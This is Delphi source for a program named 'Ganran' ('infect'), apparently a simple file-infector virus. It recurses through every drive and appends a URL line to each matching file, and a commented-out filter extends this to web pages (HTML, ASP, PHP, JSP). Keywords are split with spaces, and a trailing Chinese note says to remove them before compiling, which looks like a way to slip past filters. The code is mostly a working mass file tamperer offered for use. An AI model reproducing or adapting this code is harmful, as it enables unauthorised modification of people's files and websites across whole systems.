program Ganran;

{$APPTYPE CONSOLE}

uses
windows,SysUtils,Classes;

const
WriteBuf='Http://www.baidu.com';

procedure InfectFile(Names:string);
var
str1:string;
f: TextFile;
begin
str1 :=Names;
//MessageBox(0,PChar(str1),'文件名',0);
Writeln('文件：'+str1+'被感染！');
AssignFile(f,str1);
Append(f);
Writeln(f,WriteBuf);
Flush(f);
CloseFile(f);
end;

procedure BrowseDir(strDir:string);
var
FileName,strExt,szDir,Path:string;
SubDir: TStrings;
i,Count:integer;
SearchRec: TSearchRec;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr and 16 <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr and 16 = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
Path :=strDir;
if (copy(Path,length(Path),1)<>'\') then
Path :=Path+'\';
szDir :=Path+'*.*';
if (FindFirst(szDir, faAnyFile, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 0 then
begin
FileName := Path + SearchRec.Name;
strExt := UpperCase(ExtractFileExt(FileName));
// if (strExt = '.HTM') o r (strExt = '.HTML') o r (strExt = '.SHTML') o r (strExt = '.ASP')
// o r (strExt = '.ASPX') o r (strExt = '.PHP') o r (strExt = '.JSP') then
if (strExt = '.HT') then
begin
InfectFile(FileName);
Sleep(100);
end;
end;
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirecto ry, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
fo r i := 0 to Count do
BrowseDir(Path + SubDir.Strings[i] + '\');
FreeAndNil(SubDir);
end;

procedure OnFindFile();
var
s:string;
buff:array[0..25] of char;
len,i:integer;
begin
len:=GetLogicalDriveStrings(sizeof(buff),buff);
fo r i:=0 to len-1 do
begin
if (buff[i]=char(0)) then
begin
s :=buff[i-3];
s :=s+buff[i-2];
s :=s+buff[i-1];
if (s='A:\') then
continue
else
BrowseDir(s);
end;
end;
//MessageBox(0,'感染完毕！','提示',0);
writeln('感染完毕！');
end;

var
ThreadID:DWo rd;
begin
//OnFindFile();
CreateThread(nil, 0, @OnFindFile, nil, 0, ThreadID);
while True do Sleep(1);
end.

调试的时候把搜索 o r 把中间的空格去掉！